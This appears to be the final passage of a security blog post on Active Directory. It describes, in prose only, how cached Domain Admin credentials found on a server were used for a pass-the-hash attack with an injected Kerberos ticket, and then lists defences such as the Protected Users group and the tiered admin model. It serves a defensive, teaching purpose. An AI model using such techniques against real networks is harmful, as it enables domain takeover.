On SQL2 I found the cached credentials of Jacob, a member of the Domain Admins group. I used the NTLM hash of the user to perform a pass-the-hash attack and spawn a new process with an injected Kerberos ticket belonging to Jacob.

Completely getting rid of cached credentials is a hard task but several things can be done to minimize it:

  • Adding privileged domain users to the Protected Users Active Directory group. The Protected Users group have the following security features:

    • Disables the use of NTLM

    • Disables the use of DES and RC4 for Kerberos pre-authentication

    • Disables unconstrained or constrained delegation

    • Along with other security features

  • Implement the Microsoft Tier model. I will not go into detail about it here, since my colleague Nichlas Falk already did a great blogpost about it. Read it here.

End note

Whether you are on the red or blue team or somewhere in between, I hope you found this post interesting and learned something new 😊